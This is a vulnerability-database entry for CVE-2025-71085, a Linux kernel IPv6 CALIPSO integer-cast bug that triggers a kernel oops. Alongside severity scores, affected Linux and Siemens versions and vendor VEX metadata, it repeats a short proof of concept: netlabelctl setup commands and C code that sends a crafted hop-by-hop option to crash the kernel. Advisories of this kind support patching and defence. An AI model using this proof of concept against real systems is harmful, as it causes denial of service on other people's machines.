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CVE-2025-71085 (GCVE-0-2025-71085)

Vulnerability from cvelistv5 – Published: 2026-01-13 15:34 – Updated: 2026-09-08 08:43
VLAI
Title
ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()
Summary
In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0);
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
SSVC
Exploitation: none Automatable: no Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-06-10 20:42 UTC
Assigner
References
Impacted products
Vendor Product Version CPE status
Linux Linux Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 86f365897068d09418488165a68b23cb5baa37f2 (git)
Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 6b7522424529556c9cbc15e15e7bd4eeae310910 (git)
Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 2bb759062efa188ea5d07242a43e5aa5464bbae1 (git)
Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < c53aa6a5086f03f19564096ee084a202a8c738c0 (git)
Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < bf3709738d8a8cc6fa275773170c5c29511a0b24 (git)
Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 73744ad5696dce0e0f43872aba8de6a83d6ad570 (git)
Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 58fc7342b529803d3c221101102fe913df7adb83 (git)
guessed Create a notification for this product.
Linux Linux Affected: 4.8
Unaffected: 0 , < 4.8 (semver)
Unaffected: 5.10.248 , ≤ 5.10.* (semver)
Unaffected: 5.15.198 , ≤ 5.15.* (semver)
Unaffected: 6.1.160 , ≤ 6.1.* (semver)
Unaffected: 6.6.120 , ≤ 6.6.* (semver)
Unaffected: 6.12.64 , ≤ 6.12.* (semver)
Unaffected: 6.18.4 , ≤ 6.18.* (semver)
Unaffected: 6.19 , ≤ * (original_commit_for_fix)
guessed Create a notification for this product.
Siemens SIMATIC S7-1500 CPU 1518-4 PN/DP MFP Affected: V3.1.6 , < * (custom)
guessed Create a notification for this product.
Siemens SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP Affected: V3.1.6 , < * (custom)
guessed Create a notification for this product.
Siemens SIPLUS S7-1500 CPU 1518-4 PN/DP MFP Affected: V3.1.6 , < * (custom)
guessed Create a notification for this product.
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          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead \u003c 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom \u003e INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) \u003c 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom \u003e skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n        netlabelctl map del default\n        netlabelctl calipso add pass doi:7\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n        Then run the following PoC:\n\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n        // setup msghdr\n        int cmsg_size = 2;\n        int cmsg_len = 0x60;\n        struct msghdr msg;\n        struct sockaddr_in6 dest_addr;\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n                        sizeof(struct cmsghdr) + cmsg_len);\n        msg.msg_name = \u0026dest_addr;\n        msg.msg_namelen = sizeof(dest_addr);\n        msg.msg_iov = NULL;\n        msg.msg_iovlen = 0;\n        msg.msg_control = cmsg;\n        msg.msg_controllen = cmsg_len;\n        msg.msg_flags = 0;\n\n        // setup sockaddr\n        dest_addr.sin6_family = AF_INET6;\n        dest_addr.sin6_port = htons(31337);\n        dest_addr.sin6_flowinfo = htonl(31337);\n        dest_addr.sin6_addr = in6addr_loopback;\n        dest_addr.sin6_scope_id = 31337;\n\n        // setup cmsghdr\n        cmsg-\u003ecmsg_len = cmsg_len;\n        cmsg-\u003ecmsg_level = IPPROTO_IPV6;\n        cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n        sendmsg(fd, \u0026msg, 0);"
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However, if\\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\\nbecomes negative, and pskb_expand_head() is passed a negative value for\\nnhead.\\n\\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\\n\\\"negative\\\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\\nby only using skb_cow() to grow headroom.\\n\\nPoC:\\n\\tUsing `netlabelctl` tool:\\n\\n        netlabelctl map del default\\n        netlabelctl calipso add pass doi:7\\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\\n\\n        Then run the following PoC:\\n\\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\\n\\n        // setup msghdr\\n        int cmsg_size = 2;\\n        int cmsg_len = 0x60;\\n        struct msghdr msg;\\n        struct sockaddr_in6 dest_addr;\\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\\n                        sizeof(struct cmsghdr) + cmsg_len);\\n        msg.msg_name = \u0026dest_addr;\\n        msg.msg_namelen = sizeof(dest_addr);\\n        msg.msg_iov = NULL;\\n        msg.msg_iovlen = 0;\\n        msg.msg_control = cmsg;\\n        msg.msg_controllen = cmsg_len;\\n        msg.msg_flags = 0;\\n\\n        // setup sockaddr\\n        dest_addr.sin6_family = AF_INET6;\\n        dest_addr.sin6_port = htons(31337);\\n        dest_addr.sin6_flowinfo = htonl(31337);\\n        dest_addr.sin6_addr = in6addr_loopback;\\n        dest_addr.sin6_scope_id = 31337;\\n\\n        // setup cmsghdr\\n        cmsg-\u003ecmsg_len = cmsg_len;\\n        cmsg-\u003ecmsg_level = IPPROTO_IPV6;\\n        cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\\n\\n        sendmsg(fd, \u0026msg, 0);\"},{\"lang\":\"es\",\"value\":\"En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\\n\\nipv6: BUG() en pskb_expand_head() como parte de calipso_skbuff_setattr()\\n\\nExiste un oops del kernel causado por un BUG_ON(nhead \u0026lt; 0) en net/core/skbuff.c:2232 en pskb_expand_head(). Este error se activa como parte de la rutina calipso_skbuff_setattr() cuando a skb_cow() se le pasa un headroom \u0026gt; INT_MAX (es decir, (int)(skb_headroom(skb) + len_delta) \u0026lt; 0).\\n\\nLa causa ra\u00edz del error se debe a una conversi\u00f3n impl\u00edcita de entero en __skb_cow(). La comprobaci\u00f3n (headroom \u0026gt; skb_headroom(skb)) tiene como objetivo asegurar que delta = headroom - skb_headroom(skb) nunca sea negativo, de lo contrario, activaremos un BUG_ON en pskb_expand_head(). Sin embargo, si headroom \u0026gt; INT_MAX y delta \u0026lt;= -NET_SKB_PAD, la comprobaci\u00f3n pasa, delta se vuelve negativo y a pskb_expand_head() se le pasa un valor negativo para nhead.\\n\\nCorregir la condici\u00f3n de activaci\u00f3n en calipso_skbuff_setattr(). Evitar pasar tama\u00f1os de \u0027headroom\u0027 \u0027negativos\u0027 a skb_cow() dentro de calipso_skbuff_setattr() utilizando \u00fanicamente skb_cow() para aumentar el headroom.\\n\\nPoC:\\n\\tUsando la herramienta \u0027netlabelctl\u0027:\\n\\n        netlabelctl map del default\\n        netlabelctl calipso add pass doi:7\\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\\n\\n        Luego ejecute el siguiente PoC:\\n\\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\\n\\n        // setup msghdr\\n        int cmsg_size = 2;\\n        int cmsg_len = 0x60;\\n        struct msghdr msg;\\n        struct sockaddr_in6 dest_addr;\\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\\n                        sizeof(struct cmsghdr) + cmsg_len);\\n        msg.msg_name = \u0026amp;dest_addr;\\n        msg.msg_namelen = sizeof(dest_addr);\\n        msg.msg_iov = NULL;\\n        msg.msg_iovlen = 0;\\n        msg.msg_control = cmsg;\\n        msg.msg_controllen = cmsg_len;\\n        msg.msg_flags = 0;\\n\\n        // setup sockaddr\\n        dest_addr.sin6_family = AF_INET6;\\n        dest_addr.sin6_port = htons(31337);\\n        dest_addr.sin6_flowinfo = htonl(31337);\\n        dest_addr.sin6_addr = in6addr_loopback;\\n        dest_addr.sin6_scope_id = 31337;\\n\\n        // setup cmsghdr\\n        cmsg-\u0026gt;cmsg_len = cmsg_len;\\n        cmsg-\u0026gt;cmsg_level = IPPROTO_IPV6;\\n        cmsg-\u0026gt;cmsg_type = IPV6_HOPOPTS;\\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\\n\\n        sendmsg(fd, \u0026amp;msg, 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    "redhat_vex": {
      "aggregate_severity": "Moderate",
      "current_release_date": "2026-07-30T08:32:49+00:00",
      "cve": "CVE-2025-71085",
      "id": "CVE-2025-71085",
      "initial_release_date": "2025-01-01T00:00:00+00:00",
      "product_status:fixed": "2311",
      "product_status:known_affected": "22",
      "product_status:known_not_affected": "42",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "kernel: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-71085.json",
      "version": "3"
    },
    "suse_vex": {
      "aggregate_severity": "important",
      "current_release_date": "2026-08-30T01:41:01Z",
      "cve": "CVE-2025-71085",
      "id": "CVE-2025-71085",
      "initial_release_date": "2026-01-14T00:25:40Z",
      "product_status:first_fixed": "2",
      "product_status:known_affected": "488",
      "product_status:known_not_affected": "34",
      "product_status:recommended": "835",
      "source": "SUSE CSAF VEX",
      "status": "interim",
      "title": "SUSE CVE CVE-2025-71085",
      "url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2025-71085.json",
      "version": "55"
    },
    "vulnrichment": {
      "containers": "{\"adp\": [{\"affected\": [{\"vendor\": \"Siemens\", \"product\": \"SIMATIC S7-1500 CPU 1518-4 PN/DP MFP\", \"versions\": [{\"status\": \"affected\", \"version\": \"V3.1.6\", \"lessThan\": \"*\", \"versionType\": \"custom\"}], \"defaultStatus\": \"unknown\"}, {\"vendor\": \"Siemens\", \"product\": \"SIMATIC S7-1500 CPU 1518-4 PN/DP MFP\", \"versions\": [{\"status\": \"affected\", \"version\": \"V3.1.6\", \"lessThan\": \"*\", \"versionType\": \"custom\"}], \"defaultStatus\": \"unknown\"}, {\"vendor\": \"Siemens\", \"product\": \"SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP\", \"versions\": [{\"status\": \"affected\", \"version\": \"V3.1.6\", \"lessThan\": \"*\", \"versionType\": \"custom\"}], \"defaultStatus\": \"unknown\"}, {\"vendor\": \"Siemens\", \"product\": \"SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP\", \"versions\": [{\"status\": \"affected\", \"version\": \"V3.1.6\", \"lessThan\": \"*\", \"versionType\": \"custom\"}], \"defaultStatus\": \"unknown\"}, {\"vendor\": \"Siemens\", \"product\": \"SIPLUS S7-1500 CPU 1518-4 PN/DP MFP\", \"versions\": [{\"status\": \"affected\", \"version\": \"V3.1.6\", \"lessThan\": \"*\", \"versionType\": \"custom\"}], \"defaultStatus\": \"unknown\"}], \"x_adpType\": \"supplier\", \"references\": [{\"url\": \"https://cert-portal.siemens.com/productcert/html/ssa-019113.html\"}], \"providerMetadata\": {\"orgId\": \"0b142b55-0307-4c5a-b3c9-f314f3fb7c5e\", \"shortName\": \"siemens-SADP\", \"dateUpdated\": \"2026-09-08T08:43:44.889Z\"}}, {\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2025-71085\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"none\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-06-10T20:42:02.469421Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-06-11T17:38:59.047Z\"}}], \"cna\": {\"title\": \"ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\", \"metrics\": [{\"cvssV3_1\": {\"version\": \"3.1\", \"baseScore\": 7.5, \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\"}, \"scenarios\": [{\"lang\": \"en\", \"value\": \"AV:N - On an IPv6-forwarding CALIPSO/SELinux gateway, a remote peer can supply a valid oversized CALIPSO hop-by-hop option; the NF_INET_FORWARD SELinux hook reaches calipso_skbuff_setattr() while relabeling the packet.\\nAC:L - Once CALIPSO labeling and IPv6 forwarding are configured, the attacker controls the option length, label data, padding, and CRC and can deterministically create a sufficiently negative len_delta without a race or uncontrollable memory layout.\\nPR:N - The forwarding path processes received packet metadata without an authenticated session, and CALIPSO\u0027s CRC provides no authentication, so the remote attacker needs no local credentials or capabilities.\\nUI:N - A crafted packet triggers the vulnerable forwarding hook automatically without any victim action.\\nS:U - The assertion and resulting denial of service remain within the host kernel\u0027s existing security authority and do not cross a virtualization or sandbox boundary.\\nC:N - The negative value reaches BUG_ON before allocation or copying, and no kernel data is disclosed.\\nI:N - The assertion fires before pskb_expand_head() modifies buffer storage, so the bug provides no memory corruption or write primitive.\\nA:H - The reachable BUG_ON causes a kernel oops and can panic or reboot the system, with repeated packets able to retrigger the failure.\"}]}], \"affected\": [{\"repo\": \"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git\", \"vendor\": \"Linux\", \"product\": \"Linux\", \"versions\": [{\"status\": \"affected\", \"version\": \"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\", \"lessThan\": \"86f365897068d09418488165a68b23cb5baa37f2\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\", \"lessThan\": \"6b7522424529556c9cbc15e15e7bd4eeae310910\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\", \"lessThan\": \"2bb759062efa188ea5d07242a43e5aa5464bbae1\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\", \"lessThan\": \"c53aa6a5086f03f19564096ee084a202a8c738c0\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\", \"lessThan\": \"bf3709738d8a8cc6fa275773170c5c29511a0b24\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\", \"lessThan\": \"73744ad5696dce0e0f43872aba8de6a83d6ad570\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\", \"lessThan\": \"58fc7342b529803d3c221101102fe913df7adb83\", \"versionType\": \"git\"}], \"programFiles\": [\"net/ipv6/calipso.c\"], \"defaultStatus\": \"unaffected\"}, {\"repo\": \"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git\", \"vendor\": \"Linux\", \"product\": \"Linux\", \"versions\": [{\"status\": \"affected\", \"version\": \"4.8\"}, {\"status\": \"unaffected\", \"version\": \"0\", \"lessThan\": \"4.8\", \"versionType\": \"semver\"}, {\"status\": \"unaffected\", \"version\": \"5.10.248\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"5.10.*\"}, {\"status\": \"unaffected\", \"version\": \"5.15.198\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"5.15.*\"}, {\"status\": \"unaffected\", \"version\": \"6.1.160\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.1.*\"}, {\"status\": \"unaffected\", \"version\": \"6.6.120\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.6.*\"}, {\"status\": \"unaffected\", \"version\": \"6.12.64\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.12.*\"}, {\"status\": \"unaffected\", \"version\": \"6.18.4\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.18.*\"}, {\"status\": \"unaffected\", \"version\": \"6.19\", \"versionType\": \"original_commit_for_fix\", \"lessThanOrEqual\": \"*\"}], \"programFiles\": [\"net/ipv6/calipso.c\"], \"defaultStatus\": \"affected\"}], \"references\": [{\"url\": \"https://git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2\"}, {\"url\": \"https://git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910\"}, {\"url\": \"https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1\"}, {\"url\": \"https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0\"}, {\"url\": \"https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24\"}, {\"url\": \"https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570\"}, {\"url\": \"https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83\"}], \"x_generator\": {\"engine\": \"bippy-1.2.0\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"In the Linux kernel, the following vulnerability has been resolved:\\n\\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\\n\\nThere exists a kernel oops caused by a BUG_ON(nhead \u003c 0) at\\nnet/core/skbuff.c:2232 in pskb_expand_head().\\nThis bug is triggered as part of the calipso_skbuff_setattr()\\nroutine when skb_cow() is passed headroom \u003e INT_MAX\\n(i.e. (int)(skb_headroom(skb) + len_delta) \u003c 0).\\n\\nThe root cause of the bug is due to an implicit integer cast in\\n__skb_cow(). The check (headroom \u003e skb_headroom(skb)) is meant to ensure\\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\\nbecomes negative, and pskb_expand_head() is passed a negative value for\\nnhead.\\n\\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\\n\\\"negative\\\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\\nby only using skb_cow() to grow headroom.\\n\\nPoC:\\n\\tUsing `netlabelctl` tool:\\n\\n        netlabelctl map del default\\n        netlabelctl calipso add pass doi:7\\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\\n\\n        Then run the following PoC:\\n\\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\\n\\n        // setup msghdr\\n        int cmsg_size = 2;\\n        int cmsg_len = 0x60;\\n        struct msghdr msg;\\n        struct sockaddr_in6 dest_addr;\\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\\n                        sizeof(struct cmsghdr) + cmsg_len);\\n        msg.msg_name = \u0026dest_addr;\\n        msg.msg_namelen = sizeof(dest_addr);\\n        msg.msg_iov = NULL;\\n        msg.msg_iovlen = 0;\\n        msg.msg_control = cmsg;\\n        msg.msg_controllen = cmsg_len;\\n        msg.msg_flags = 0;\\n\\n        // setup sockaddr\\n        dest_addr.sin6_family = AF_INET6;\\n        dest_addr.sin6_port = htons(31337);\\n        dest_addr.sin6_flowinfo = htonl(31337);\\n        dest_addr.sin6_addr = in6addr_loopback;\\n        dest_addr.sin6_scope_id = 31337;\\n\\n        // setup cmsghdr\\n        cmsg-\u003ecmsg_len = cmsg_len;\\n        cmsg-\u003ecmsg_level = IPPROTO_IPV6;\\n        cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\\n\\n        sendmsg(fd, \u0026msg, 0);\"}], \"cpeApplicability\": [{\"nodes\": [{\"negate\": false, \"cpeMatch\": [{\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"5.10.248\", \"versionStartIncluding\": \"4.8\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"5.15.198\", \"versionStartIncluding\": \"4.8\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.1.160\", \"versionStartIncluding\": \"4.8\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.6.120\", \"versionStartIncluding\": \"4.8\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.12.64\", \"versionStartIncluding\": \"4.8\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.18.4\", \"versionStartIncluding\": \"4.8\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.19\", \"versionStartIncluding\": \"4.8\"}], \"operator\": \"OR\"}]}], \"providerMetadata\": {\"orgId\": \"416baaa9-dc9f-4396-8d5f-8c081fb06d67\", \"shortName\": \"Linux\", \"dateUpdated\": \"2026-08-05T12:11:57.623Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2025-71085\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-09-08T08:43:44.889Z\", \"dateReserved\": \"2026-01-13T15:30:19.649Z\", \"assignerOrgId\": \"416baaa9-dc9f-4396-8d5f-8c081fb06d67\", \"datePublished\": \"2026-01-13T15:34:48.324Z\", \"assignerShortName\": \"Linux\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}



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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.